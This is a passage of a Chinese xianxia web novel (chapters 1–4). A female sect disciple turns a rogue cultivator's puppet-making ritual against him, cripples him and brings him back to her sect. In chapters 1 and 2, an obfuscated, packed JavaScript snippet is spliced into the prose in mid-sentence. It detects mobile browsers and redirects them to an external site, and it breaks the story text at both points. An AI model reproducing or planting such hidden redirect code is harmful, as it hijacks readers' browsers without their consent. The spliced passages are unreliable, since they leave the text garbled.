《被炼成傀儡后万人嫌杀疯了》 1. 邪门的女修 “嗷——吼吼——” 一阵哀恸的惊嚎后,密林中地动山摇,远处的骚乱如一颗陨石坠入海面,刹那间掀起滔天巨浪,余波所及,生灵退避。 云若雪目光遥遥一瞥,心中暗道不好。 邪修贪心,大肆猎杀妖兽,导致兽群.暴.动.迁徙,奔袭百里,其间践踏无数生灵。 等不及反应,破空一声鹰唳,携万钧之势倾轧而来,女修拔剑抵抗,衣袂翻飞,铿然一声,鹰爪叩上剑身,她双脚向地面陷落成一个深坑,单手掐诀,飞快退至数十米开外。 身后如潮兽群汹涌而来,几乎刹那间便将她重重包围。 身陷囹圄。 再有一日脚程她便能进入宗门地界,结束三年历练,今日绝不能交待在这里! 阵盘自袖中飞出,她快速催动法决,密林上空霎时间乌云密布,雷电交加。 女修以剑引天雷,光影扑朔中烨然若神人。 兽群惊惧,四散奔逃中乱作一团,云若雪神情紧绷,这一场兽潮来得格外凶险,也怪她先前疏忽大意,想着马上就要回到宗门,松懈了警惕。 天上雷云翻滚,她体内灵力飞快流失,护身的法宝丢出去,一个个陨落在兽群脚下,连带着四肢和躯体也受了不少皮外伤,血渍蔓延,青衣凌乱。 这群尚未开智的畜牲一受到攻击便乱了阵脚,暴.动.之下左奔右突,直冲云若雪面门而去。 兽潮绵延不绝,再这样下去也不是个办法,她当即作出决定,舍下引雷阵,长剑挽起剑花,利落干脆,转身便跑。 飞禽的羽翼掀起飓风,草木催折,喙爪锋利,直逼要害。 她堪堪侧身避开,肩背上血痕深可见骨,反手挥剑如虹,斩落猛禽翅羽。 体力随着血液流逝,疗伤止血的丹药服了一粒又一粒,都快将她这三年历练所得的宝物挥霍干净了,终于堪堪抽身。 眼看逃到了兽群边缘,还没来得及松口气,不慎被同伴踩踏了一脚的妖兽骤然暴起,猛然朝云若雪的背影扑去—— 她勉力积聚起体内最后一丝灵力,掐诀避开,还是差了一点,轰然被巨大的冲击力撞飞出去,整个人重重砸进远处的巨木,树干裂开痕迹。 只听得体内咔嚓一声声响,五脏六腑仿佛移了位,骨头钻心的疼。 “咳咳咳——” 她一翻身又重重坠落到地上,抚着胸口剧烈咳嗽起来,弓起身子不断颤动,身侧长剑蒙尘。 不远处兽群还在向前奔逃,掌心中玉珏碎裂,撑起一个临时结界,直到兽潮远去才砰然溃散,如云似雾,踪迹难觅。 算是……勉强渡过了这一劫。 喉咙鼻尖都是浓烈的血腥气,右手脱臼,没了知觉,云若雪抬手想扶着树干坐起,一阵刺痛,手腕卸力,反而又重重跌在苔痕覆盖的湿地上。 远处碎石凌乱,草木凋敝,她眼前一黑,彻底昏死过去。 …… 意识回笼时,耳边是絮叨的人声。 模模糊糊传来。 “被小爷我捡到也是你的命,没有白死。” “放心走吧,日后有的是用得着你的时候……” “身体烂成这样,也不知能不能缝起来。” 云若雪虚虚睁开眼,天色灰蒙蒙的,已经是傍晚,被人拽着双脚在地上拖行实在狼狈,后背火辣辣的疼。 只一瞬间她意识恢复清明,抬手接起脱臼的手腕,一脚用力蹬向身前的邪修。 “哎哟喂——” 邪修怪叫一声,飞快闪身避开,身形灵活矫健。 一回头,少年的脸庞青涩稚嫩,双眸弯起,嘴角噙着一抹冷然浅笑。 “还没死透呢?”他逼近了她,嘴角的弧度更明显,“那小爷大发慈悲送你一程。” “你敢!”云若雪厉声呵止,抬手掷出一块腰牌,砸到那邪修脚下。 “太虚宗,云若雪,动手前想想你能不能得罪得起!” 说罢,她又剧烈咳嗽起来,四肢发软,几乎用尽了全部力气支撑才没有倒下。 “云若雪?”邪修略一歪头,唇瓣中露出一抹虎牙,看她强撑着痛苦虚张声势的模样觉得格外有意思。 “太虚宗那么多弟子,管你云若雪张若雪,今日被我碰到了,便都做我手中的傀儡吧。” 没等女修回应,他指尖亮起一个法诀,飞快拖着人进入不远处的洞穴。 以他的修为,往日里碰到云若雪之辈,那是逃都来不及,生怕被人一个不小心给顺带“除魔卫道”了。 而今,虎落平阳,他快快将人炼制成傀儡,往后这正道仙门的前辈任他驱策,做他手中最锋利的一把刀…… 真是想想都解气! 云若雪只觉骨头都要散架了,薄唇紧抿,任由邪修将她带入洞穴,身体磕在坚硬石地上,一声闷哼。 半阖上眼,识海中浮着一层淡淡的金光,光晕中心悬着的是她的本命剑,欺霜。 若是将剑召唤出来……以她如今的伤势,倒是可以拼一拼。 谢晟也曾教过她一个法诀,不用耗费灵力也能召唤来他的本命剑,只是……一旦召唤过来,便会惊动谢晟。 她不能惊动他。 此次下山,她的目的还没有达成。 正是脑中思绪万千时,邪修已摆放好她的躯体,缓缓蹲下身,法诀不疾不徐落在她各个关节和重要脏器上,珍视得简直像在对待一件让他无比满意的艺术品。 云若雪收拢思绪,略一挑眉,“你还真敢把我炼制成傀儡?” 邪修环视四周阵法的布局,一撞上女修的目光,心下了然,这仙门正道的修士居然也接触过傀儡术?还认出了他绘制的阵法! 他神色颇为惊奇,“你们仙门正道还知道傀儡术?” “呵。”云若雪轻笑一声,“我四方游历时……你恐怕还没出生。” “那我倒该称您一声前辈……”邪修收回手,语气里有种天真的残忍,带着游戏人间的放荡和随意,“前辈就安心走吧,你这一副躯体,我定然会好好照顾。” 一个阵法飞快落到云若雪身下,猩红色光芒迸溅而出,缓缓向空中浮动,张牙舞爪地蔓延向洞穴内凹凸不平的石壁,狰狞好似恶鬼,天色黑憧憧,风声呜咽。 女修的血也流进法阵中,仿佛要被红光吞噬,与它融为一体,可那一双眼睛直勾勾盯着面前的少年,眸似夜海生雾,乌云蔽月。 他飞快取出三枚镇魂钉,抬手放到女修头顶,嘴唇翕动之间催动法诀。 刹那间,一股痛意飞快没入云若雪识海,哪怕是做好了准备,还是让她神魂俱震,刹那间被一种因岁月久隔而显得陌生,但此时却无比熟悉的震颤死死攫住。 镇魂钉,镇三魂驱七魄,没入识海,从此便如行尸走肉,无知无觉,蒙昧混沌。 云若雪眸光闪了闪,识海中动荡不休,往昔岁月如走马灯般浮现在眼前,飞快地一闪而逝,在一片混乱之中,不知是不是受了这邪异阵法的影响,整个震颤的神魂忽然都诡异着兴奋起来。 像是,多年漂泊在外的游子骤然归乡。 一瞬间勾起被她淡忘的记忆。 在镇魂钉没入的刹那,她抬手狠狠击向邪修脖颈—— 少年笑了笑,漫不经心,嘲她垂死挣扎,一仰头便欲避开。 倏然,一团白丝线勾连成的密网扑面而来,细如蛛丝,全然笼罩在脸上,呼吸间便没入他体内,侵占进识海。 “啊——” 他痛叫一声,惊厥凄厉,翻身一滚远远避开云若雪。 脑中识海震动,仿佛人用一根铁棍狠狠捅进去,再用力搅拌,几乎是痛不欲生,脚下阵法在挣扎中也被踢乱,失了效力。 三枚镇魂钉只没入了一枚,剩下两枚铿然落到地上。 云若雪坐起身,躯体和神魂的剧痛让她不自觉皱眉,面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128434|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了三分冷冽之意,看向少年的眸光却诡异地平和深邃,一时之间,夜海雾散,云开月明。 “你做了什么!” 邪修气急,在这漆黑的夜里,生下淡红色光芒照得他眸子似蛰伏的凶兽,哪怕负了重伤也满满的威胁仇恨之意。 “同命蛊而已。” 云若雪换了个舒服的坐姿,努力平复颤抖的声线,却更像是极力忍耐着闷声的笑,带着尖刻的嘲讽,“这点痛就忍不了了?” “你!”邪修抬手指向她,痛到浑身发抖,一脸错愕,“你怎么会这种养蛊虫?自诩仙门正道,也用这种见不得光的手段!” 同命蛊与普通蛊虫不同,它扎根入识海,如丝如棉,斩不断,理不清,连通二人神魂,便是永永远远同生共死,想要祛除非常困难,以他如今的修为是绝无可能。 而想要养出这种蛊虫,没个几十年的喂养和修炼更是天方夜谭! 混迹江湖,他以为自己身为邪修,已经够邪了,没想到今日碰到个更邪门的…… 云若雪拂袖,衣袂血迹斑斑,身侧两枚掉落的镇魂钉滚到洞穴角边缘,不知撞到哪一块石壁,敲出清脆的声响,转眼又寂寂无声。 在这一片空寂的黑夜里,她自顾自笑起来,抬手几笔补全被破坏的阵法,漫不经心向少年招手,“不是要炼制傀儡吗?来吧,继续。” 几乎是不容置喙的语气,容不得旁人半点忤逆。 “啊……” 邪修一时语塞,看向云若雪的目光像是在看一个疯子。 脚步却在那极具压迫性的目光下不自觉随着女修的命令踏入血光潋滟的阵法中。 他倒想看看她究竟想要做什么。 阵法重新运转起来,周遭浮尘碎石被法力牵引着漂浮流动,血褐色衣袂翻飞,云若雪阖上眼,躯体上再次浮现被挟制的拘束感。 强忍下这份不适,识海中有同命蛊相连,镇魂钉不再继续蚕食她的神魂。 少顷,猩红色光芒淡化成浅粉,几息之间又转变成紫粉色,牢牢攫着她,一点一点如同剥洋葱般,慢慢剥去了那沉重如枷锁和樊笼的躯体。 恍惚中,云若雪五感淡化成透明,只这片刻,好似神魂都出了窍,觉得手不是自己的手,腿也不是自己的腿,陷落进难言的虚无中,万千繁华,都作浮云一抹。 身体上的痛觉也没有了。 邪修愣愣看着,半晌也没有别的反应。识海中波涛汹涌的刺痛刚刚平息,他脸色也惨白得吓人,好似下一刻就会长辞人间。 这女修真是邪门得很,而今他是拿她半点法子也没有。 等浮动的光点归于寂灭,洞穴外天色已漆黑如墨,挥洒在天幕上,近乎要吞噬去所有的光,只有星子三两点强撑着,偶尔漏进来几抹微亮。 云若雪活动了一下手臂,还是伤痕累累,但血早已经止住了,干涸成块,黏糊糊贴在皮肤上,清晰描绘出肌肤纹理,豁开的血肉之下是森森白骨。 痛觉却没有了。 稍稍一用力,指尖缭绕起一簇淡绿色云雾,豁开的伤口被直接捏合,如同泥人一般,瞬间痊愈如新。 真真是一副完美的躯体。 什么根骨不佳,天赋浅薄,她听过太多人摇头叹息,一副遗憾惋惜的模样,说着什么仙途坎坷的话,暗地里嘲她空有太虚宗首席弟子的头衔,却是德不配位。 从今以后…… 再也不会有了。 “你,你居然利用我?”邪修骇然。 见此场景,他脑中纷乱的思绪顿时如雾散云清,一片澄明,这个女修居然利用同命蛊牵制傀儡术,变相将他们二人强行绑定在一起! 如今她虽是傀儡之身,却完全不必听他指使,不受桎梏,不被操纵。 当然,他们二人的性命也紧紧绑在一起,傀儡师死亡,傀儡便不复存在,同命蛊母虫死亡,子虫也不会独活。 简直,简直是荒谬! 2. 各凭本事 “利用你?难道不是你先想着利用我?”云若雪心情颇好,多年来憋在心底的一口气终于顺了,差点没让她笑出声来。 一双手骨节分明,十指灵巧如同翩跹的蝶,不疾不徐结成复杂的法印,一点点耐着性子开始处理身上别的伤口,姿态优雅。 来日方长,往后利用他的时候还多了去了。 若是傀儡师肯帮忙修复傀儡身上的缺口,效果会更好,但眼前这邪修法力低微,也不知从哪里学了点傀儡术皮毛,连画的阵法都粗糙得很,半吊子的水平,她也就不指望了。 邪修嘴唇一张一合,说不出反驳的话。 “你叫什么?” “亘白。” “嗯?”云若雪掀起眼帘,瞳仁漆黑如墨,整个人又陷在黑暗里,更显得幽深迷离,“亘白是山名,距此五十里之外。” “不行吗?”邪修撇撇嘴,竟然主动向她走去,比肩坐下。 他算是开看了,反正他们二人如今绑在一起,谁也奈何不了谁,如果这邪门的女魔头想对他做什么,大不了他立刻抹脖子自杀,大家一起死好了。 云若雪缄默不言,自顾自处理伤口。 先前那场兽潮凶险万分,连她这一身防御力惊人的法衣都被糟蹋了个彻底,袖口处,那株由浓青色丝线绣成的碧玉兰已破到看不出原样,细长的叶片染了血,尽显衰败颓唐。 她对花花草草和衣裙饰品一向不感兴趣,这兰花似乎是谢晟的偏爱…… 这法衣好像也是谢晟送的? 罢了,一件衣服而已,反正都赠给她了,反正她这些年攒下的宝物不少,回到宗门就能脱贫致富。 “你怎么不继续问问?” “亘白这个名字不好听吗?” 亘白转头看向她,少年眸子里飘过狡黠的笑,接着,他如倒豆子般一股脑将身世来历都交待了个清楚明白。 “好吧,其实是我之前失了忆,忘了前尘往事,等有意识的时候就在亘白山下,索性也叫亘白了。” “你对这附近山川风貌这么熟悉?连这也知道?” 云若雪听罢不置可否。 “伤都处理好了?”亘白斜着身子看她,轻轻一叹,完全不被她冷漠的态度浇灭热情,“前辈在傀儡术上还真是造诣颇深。” “够了。” 云若雪打断喋喋不休的话。 谁料少年反而得寸进尺。 “前辈您说这话可真是伤透了我的心,若是不高兴,晚辈一个不小心一命呜呼了,那前辈不也跟着倒霉吗?” 云若雪终于被他吸引了注意,落到地上的话却是一针见血的冷漠。 “求生不易,求死不难,你若是想死早就死了,还能活到今天?” 亘白一噎,神情闪烁,忙摆摆手转移话题。 “罢了罢了,不说这些。” 他虽失了记忆,不经世事,但这些时日的“流浪”也着实让人心酸,好好见识过了人世险恶。 身为散修四处流离,没有宗门依靠,不能报团取暖或有人撑腰,加上又是邪修,可没人跟他讲什么仁义道德,慈悲为怀,那都是疯狂逃命才得以苟活,一不小心就连尸骨都无人收敛。 云若雪理了理破损的裙摆,抹去血渍,看起来顺眼多了,掐诀扶正歪斜的发髻,心情都明朗不少,转眼又成了那孤高冷清的仙人。 这寂静的空档,亘白不知从袖口里翻出什么新奇的玩意儿,挥袖间往天上一撒—— 光点漫天,纷纷扬扬浮动着,像流动的雨,装点成繁星满天,荧光漂流,美不胜收。 漆黑的洞穴瞬间被照亮。 云若雪动作一顿,斜睨他一眼,对这华而不实的小把戏不感兴趣。 “女修们不都喜欢这些?前辈一把年纪,还真是难讨好。” 捕捉到空气里的冷淡,亘白微微侧身,余光里一瞥,将女修的身影收入眸底。 真是好漂亮一副皮囊。 明明是冷峭残酷的雪峰,却要俯下身子,伪装作低矮翠绿的平原,这经年世事,将她打磨得圆滑,也抹不去骨子里的凛冽。 被他这目光一打量,云若雪可丝毫没有感受到被讨好,厌恶地皱起眉,兀自起身,抬步便向洞穴出口走去。 “走了。” “唉,等等等——”少年回过神,慌慌张张站起来,情急之下拽住她的衣袖,在触及云若雪冰冷的目光后反而愈发理直气壮,丝毫不怯。 “去哪儿?” “太虚宗。” “嗯?”亘白猛地松开手,做出一副痛心疾首的表情,“你居然要带我去太虚宗?我可是邪修!” “不。你不是。” 云若雪转过身,眸光冷淡。 飒飒一响,欺霜剑出鞘,剑光雪亮,气势如虹,直直没入少年丹田。 下一刻,一声凄厉的惨叫惊空遏云,撕心裂肺一般,扰动林间飞鸟,在寂静的密林卷起层层涟漪。 鸣声杂沓。 “什么邪修?你是我在山下新收的徒弟,欲登仙途,一心向道。” 她说着,利落收回剑,冷眼看少年直直栽倒在地,抬手擦拭干净剑身上殷红的血。 咔嚓一声脆响,融雪坠入寒潭,细若蚕丝的震颤,收剑入鞘,那声音却听得亘白毛骨悚然,嘴里大口大口呕出血,丹田如破了洞的口袋,本就不多的灵力飞快流逝殆尽。 已沦落为凡人之躯。 “你!”他吊着一口气,仰起脸恨恨盯着她,早没了先前那股吊儿郎当的劲。 “我迟早要杀了你!” 山洞里一时间静得能听到他余音的震颤。 云若雪飞快往他嘴里塞了一枚丹药,芙蓉面上似笑而非,光影浮动,美如天神,又似将人打落入地狱的恶灵。 “好啊,那就看看,到底是你先杀了我,还是我先杀了你。” 她不是个能长久忍受将身家性命置于他人手中摆布的人。 显然,对方也不是。 那往后就要各凭本事了。 亘白服下丹药,伤口处翻江倒海般的剧痛缓解了些许,却仍有细密如针刺的灼痛,额头上豆大的汗珠润湿了衣衫,他脸色苍白如纸,几缕碎发垂下,黏在双颊,即使扎着高马尾,依旧好不狼狈。 深蓝色外袍上绽开朵朵血花,血滴顺着衣摆和腰线蔓延到下摆,弄了满地狼藉。 今日碰上这心狠手辣的疯子可真是到了大霉! 但只能认栽。 思及此,他面色难看。 谁知眼前的女修反而变得和颜悦色,丝毫看不出先前冷峭的残酷,半蹲着身子,指尖掐诀,点点抹去了他额头上的汗。 拂袖间,一股冷淡清冽的松木香,如春风化雨,缓缓流淌入鼻尖,他晃了晃神,脑中一瞬间空白。 “散尽修为,弃练邪功,为师带你重修仙途,攀登正道,不好吗?” “好个屁!” 亘白回过神,一时恼怒,恨不得撕了她面上一张虚伪做作的皮。 云若雪眸光转冷,啪啪两下拍了拍他的脸,做足了羞辱的意味,唇边依旧噙着笑。 “你弱我强,你就要从我的道,明白吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128435|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亘白知道若再多事,这疯子定然能做出更疯的事出来,便不再吭声,转过头去,兀自阖上眼,胸口起伏,努力顺气。 洞穴中光点暗淡了几分,拖着半透明的金色如星点般的尾焰轻飘飘向下坠落,划出道道弧光,昳丽的星尾砸向石面,溅起微弱的星芒,点点熄灭,直至湮灭入尘。 看他如此识时务,云若雪心下满意,站起身,后颈传来一串细密的骨节轻响,身子像枯朽冻僵的木,这一动就牵扯到各个关节,耳边听得一阵阵“咯吱”声,连皮肉也绷得发紧。 掀起衣袖,借着洞穴内残存的最后一点光辉,目光落下,白皙的胳膊上浮现出淡淡的紫红色,云雾一般,浓淡交映。 傀儡师受到重创,她这个傀儡也不好受,连尸斑都浮出来了。 看来今夜是走不了了。 思及此,她抬手在洞口布下结界,重新坐到少年身边。 “你又想做什么!”亘白惊得差点跳起来,连连退后。 “休整一夜,明早动身。” “那我是不是该谢谢师父体谅?” “不必谢。” 说罢,她闭上眼安心打坐,不理会身旁张牙舞爪想报复却无可奈何的少年。 洞穴内黑漆漆一片,风刮进来,草木悚动。 亘白坐直身,被长剑捅穿的地方已渐渐止住了血,凝结成褐色,他移开手,温热的血渍黏黏糊糊粘在手心,往衣摆上一抹,抹也抹不干净。 先前在那阵法中,因同命蛊绑定二人,他神魂已因云若雪遭受重创,现在是连丹田也破了,修为尽失,身心俱毁。 一转头,罪魁祸首居然还能安然无恙坐在自己身边打坐修炼! 简直可恨! 今敌强我弱,心里再恨也只能忍着,总有一天他要报复回来! …… 翌日。 云若雪结束打坐,晨光钻过枝叶蔓蔓,漏进洞口,草木芬香随风漫入,摩擦出悦耳的簌簌声,她挥手打开结界,掀起衣袖检查,手臂上的尸斑淡了许多,几乎看不出痕迹。 勉强让她满意。 转头看向亘白,招招手,“走吧。” 他不情不愿,知道逃不出这女魔头的手掌心,也懒得再做无谓的挣扎,老老实实向前一步,正欲踏上欺霜剑,倏然,剑身一动,避开他的触碰,竟带着云若雪蹿出去十丈远! “哎——还走吗!”亘白扯起嗓子,一脸莫名。 他现在可是没有修为的凡人,这女魔头总不可能让他靠双脚走着去太虚宗吧?若是路上遇到点豺狼虎豹,那两人不是共赴黄泉? 云若雪面上也闪过一瞬错愕,忙掐诀御剑飞回,脚尖轻点,“老实点。” 剑身抖了抖作为回应,表达不满。 云若雪看安抚好了本命剑,这才朝亘白伸出手,“上来。” 他撇撇嘴,心道这剑还挺有灵性,可别再作妖了。 偏偏是想什么来什么,他刚踏上剑,欺霜嗖一声蹿出去,差点没将他甩到地上。 “慢慢慢——慢点啊——” “闭嘴!” 这鬼哭狼嚎的声音刺得云若雪耳膜生疼,她眉峰一蹙,微微侧身避开他下意识想要抓住些什么的手,周身寒意凛冽。 亘白打了个哆嗦,一咬牙,忍了。 下一刻。 凛冽如刀割的疾风融化于无形,扑面而来的瞬间仿佛流动的水,不疾不徐分成两道,轻巧灵动,流淌向左右两侧,周遭灵气萦绕,舒服了许多。 低头看,脚下风景快速倒退,灰褐与翠绿模糊成一片。 3. 三载而归 日出东方,朝霞欲燃。 流逝的光阴与被甩在身后的模糊风景混杂一体,晃花了亘白的眼,站得太久,小腿僵直到麻木,他轻轻垫脚缓解,不知不觉,已是红日高挂。 长夷地广,灵气充沛。 在这春夏交替的时节,地面上苍翠的浪一片翻涌过一片,鸟兽滑翔,一派万物勃发的盎然景象。 太虚宗依山而建,傍水而居,丛丛高大华丽的殿宇拔地而起,或悬于空中,云遮雾绕,白鹤盘旋,坐落于群山脉络之中,点缀峰峦,气势恢宏。 亘白到底年少,远远眺望一眼,心里难免七上八下。 他一个邪修,如今居然要进仙修的老巢?还是中州鼎鼎有名的太虚宗!有谢晟坐镇于此,一剑退万魔,邪祟精怪俱不敢犯。 “我告诉你,我可是邪修……你把我带进去,就不怕我对你的同门做什么?” 亘白攥紧云若雪的袖口,眼睁睁看着太虚宗界碑不断放大,心跳加速,索性破罐子破摔喊出声来,“我要是被发现了,到时候我们俩一起死!” 云若雪身形一顿,脚尖轻点,欺霜剑硬生生刹住—— “住口!” “啊……”亘白一时不察,磕上云若雪脊背,抬手揉着钝痛的额头,神色不恁,“什么狗屁正道,老子才不稀罕!你别想……” 云若雪听得耳朵都快磨出茧子,指尖轻拈一片黄色符箓,啪一声贴到少年头顶,顿时便禁了他的声。 “呜,呜呜……” “好徒儿,进不进去可由不得你。” 说罢,欺霜剑嗡鸣一声,随风而动,云若雪取下腰间玉牌,扬手注入灵力,护山结界支开个宽敞的入口。 山风簌簌,白鹤惊飞。 衣袂翻飞间欺霜剑已捎上二人,沿着陡峭盘旋的入山石阶,掠过三三两两如星罗棋布的人头,直达剑山山顶。 “是大师姐!” “她回来了。” 人声一时喧哗,惊动檐角悬挂的铜铃,转啊转。 少倾,建在群峰之巅的钟鼓楼传出撞钟声,声声嗡鸣从山巅直坠而下,落入云雾之中,徘徊于山峦之间,回声阵阵,又挟着灵力融进风里,轻而易举传遍整个太虚宗。 山高风疾。 亘白被冻得连连打喷嚏,哆哆嗦嗦搓手,抚平胳膊上冒出的鸡皮疙瘩,云若雪抬手揭去他头顶上的符箓,只回头一个警告眼神,少年顿时站直了身,做出一副听君处置的老实样。 她这才肯稍稍分出些灵力护住他不断流失的体温。 “啊等等——” 亘白一惊,瞥见云若雪脸上淡紫色的尸斑,被吓得瞳孔都放大了,飞快从身上翻出一张面具扣在她脸上。 压低了声音,“尸斑……” 老天爷,他如今可是在太虚宗的地盘,若是被捅出来他把仙门弟子炼制成傀儡的事,那还不被这群人给活剐了! 云若雪同样心惊,飞快平复心绪,抬手压住盖在脸上的面具,稳稳戴好,这一路御剑而行,灵力耗损了不少,差点就露馅了。 仙门弟子听闻钟磬声纷纷赶来主峰,有的御剑悬于空中,有的或坐或站,倚着一根树枝,一块岩石,远远观望着。 一时之间,剑山上下被围了个水泄不通。 只山巅那一座望云殿孑然矗立于乱石和碎雪之间,孤高清傲,隔着道道凛冽逼人的剑气,漠然俯瞰脚下芸芸众生。 那正是剑尊谢晟的清修之地,旁人轻易不敢冒昧踏足。 “大师姐。” “参见大师姐。” 云若雪仔细检查了一番裸露在外的皮肤,确认没有异常后才拽着亘白落到地上,欺霜剑挽起个漂亮的剑花,利落收入剑鞘中。 身前,玉尘殿飞檐流畅,云遮雾绕。 琉璃瓦在稍稍偏西的日光下熠熠生辉,斗拱上流云纹历历分明,明珠映天,虹光温润。 殿外兽纹青铜鼎中香火旺盛,白烟袅袅。 人群围上来。 “大师姐这些年在外面没遇到什么危险吧?” “谁敢惹咱们太虚宗?” “师姐怎么还戴着面具?” “……” 云若雪抬手压下小弟子们的议论,目光扫过,前排几个性子活泼的女修顿时噤声。 少倾,人群微微侧开一条道,有三人缓缓步出。 为首的少女衣着华丽,艳而不妖,周身像是拢着层流动的霞光,蹙金双绣罗裙上点缀着缠枝莲纹样,莲步轻移间裙摆晃动,踩着揉碎的星子款款而来。 她身后一左一右跟着两名少年。 左侧的那人一袭干练的黑衣,日光下隐隐露出些深红色兽形暗纹,袖口紧束,皮质的腰带勾勒出劲瘦的腰身,更显他身高腿长,气度翩然似醉玉颓山。 左侧的华服少年性子最急,三两步站到人前,见到云若雪脸上的面具,眸光闪烁,故做一副毫不关心的样子,别扭着开口,“你……师姐你的脸怎么了?” 云若雪扶了扶脸上的黑色面具,心有余悸,“无事,受了些伤,暂时不便示人。” “那一会儿我送些丹药到师姐殿中。”乌鸿脱口而出。 “不必。”她随口拒绝,不知不觉里便是一副拒人于千里之外的态度。 一会儿她还要想法子好好安置这新收的“小徒弟”,可没工夫跟无关紧要的人拉扯。 “可……” 他还想说什么,云若雪先一步出声打断,眸光扫过乌泱泱一群人,语气不容置喙,“宗内无大事,你们都散了吧。” “是。”众人应声。 三年前那件事,所有人不约而同选择保持缄默。目光匆匆扫过当年之事的另一个主角,好似被那抹倩影烫到一般,飞快移开。 昔日与云若雪关系不错的弟子主动上前关心,寒暄几句后也被打发离去,云若雪进退有度,三言 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亘白此刻哪怕已法力全无,也能隐隐觉察出面前的二人修为高深,打一百个从前的他都不带拐弯的,顿时寒毛倒竖,面上强作镇定,讪讪一笑。 场面一时僵住。 云若雪眸光轻移,最后落到那容颜俏丽的少女身上,顿时冷淡了三分。 “这是小师妹,江丛莹。” 江丛莹闻言款款上前,精致小巧的芙蓉面上一抹明艳的笑,屈膝行礼,仪态万千,“大师姐平安归来便好。” 云若雪却连表面功夫都懒得做,兀自收回目光,暗中掐了把亘白的胳膊,“还不叫人。” 三年前的投毒案,她被指摘为“凶手”,千千万万的证据都那么恰好地指向她,不偏不倚,板上钉钉,旁人也许不信她,但她自己总不能怀疑自己。 她没做过就是没做过,但形势所逼,不得不咬牙认下,背负一身骂名远走。 这小师妹可不简单。 而今,她已非三年前的处境,何必再给她好脸色。 亘白一时吃痛,差点惊呼出声,暗地里狠狠瞪向罪魁祸首,面上却一副乖顺的模样,主动上前一步,目光不期然与江丛莹撞上,刹那失神。 旋即回神。 刚要张口却被人先一步打断。 “大师姐,这恐怕不妥。”乌鸿眼神上下扫视一番,眉头微皱,“凡人想入太虚宗,须经重重考核历练,一步步翻越天梯,打磨心性……” 云若雪抬手,冷声止息这一场刚有苗头的争论,“我带回来的人,不必经历那些。” 他还想张口,站在身侧的谢铮朝他摇摇头,递去一个眼神,“师姐刚刚回来,还受了伤,让她歇会儿吧。” 乌鸿只得悻悻闭了嘴,眼睁睁瞧着云若雪带亘白离开。 4. 让她担心的 另一边。 亘白脱离出被修士重重包围的环境,顿觉一身轻松,竟左顾右盼,跟闯入市集的猴子一般打量起周遭的建筑与风景。 太虚宗景物相宜,剑山拔地而起,独居高处,俯瞰群峰。丛峰绵延似盘龙,数不清的楼阁点缀其中,丛林中飞禽走兽,啼鸣不绝。 “跟上。”云若雪微微侧身,冷眼扫过。 “知道了知道了。”他连连应声,浑身没个正形,“师父可真是好大的派头,历练回来竟有这么多人迎接。” 云若雪脚步一顿,没吭声,继续向前走。 她如今是真有些相信这人说的“失忆”,也是真的从未听过她的名讳,才敢在初见她亮出身份时候依旧对她下手。 当年。 长夷谢氏满门被灭,谢晟年少,受全族托举才得以逃生。 他们萍水相逢,识于微末。 她一路陪伴谢晟左右,躲避仇敌追杀,数次死里逃生,直到谢晟名扬四海,报仇雪恨。 后来二人回到长夷故地,共同建立太虚宗,召回旧部,振兴势力,一路发扬至今。 若非她天生一副凡人骨,在修炼上实在是没什么天赋,无论如何修为都上不来,说不定还能混个掌门当当。 不像如今,只能挂在谢晟名下,是首徒,也是宗门首席弟子。 虽然这太虚宗上下大小事务她都有安排差遣的权力,也将诸多纷繁复杂的事宜打理得井井有条,在众弟子眼里,身份地位较掌门也不遑多让。 当然,这都是三年前的事了。 至于日后…… 她别有一番安排。 思忖间。 三年阔别,重游故地,云若雪沿着熟悉的小径向前走,周遭风物,一草一木,看起来与往日并无不同,又好似处处都不一样。 “大,大师姐……” 路上碰见门中弟子,见了她纷纷侧目,相互间交换着晦涩的眼神,在平静的海面下暗潮涌动,低声耳语两句就匆匆离开,好似生怕被她盯上。 云若雪脚步一顿,山风刮起衣袂烈烈,吹乱了青丝如瀑,她微微蹙眉,努力想听清他们的话,又囿于修为损耗,实在听不清,只得目不斜视继续向前走。 止住脚。 “到了。” “到了?”亘白仰头惊叹。 跟前是一座独立的院落,青黛色的砖瓦顺着墙头起伏,檐角的龙形脊兽鳞爪分明,瓦当扣合处的云纹在日头下泛出浅灰光泽,远远望去,便真如一条栩栩如生的游龙。 院中枝叶连绵,越过墙头漫出来,一片繁荣景象,日光坠地,漏下的光斑在青石板上晃成流动的碎金。 高耸的楼阁殿宇就隐匿在那一片翠色当中,半遮半掩,伸出一抹飞檐,在一片风声叶片摩擦的簌簌声里,偶尔而会传来几许风铃声。 整个院子乍看起来素雅清幽,于细处才知处处雕琢,精心呵护。 云若雪抬手触上院落结界,心里默念出熟悉的法诀。 结界不为所动。 嗯? 她收了手,又重新试过好几次,还是进不去。 “你不是住这儿吗?”亘白挠挠头,看着云若雪试了又试,不期然对上眼神,便是二脸茫然。 身后传来怯怯一道声音,“师,师姐……” 云若雪回身看,逆着日光,漆黑的面具遮住白玉般的脸,只露出一双凌厉的眸子,顿时教主动靠上来的两个小弟子心生退意,瞬间联想到曾经被眼前的首席弟子狠狠鞭策要努力修炼的时光。 “怎么了?” 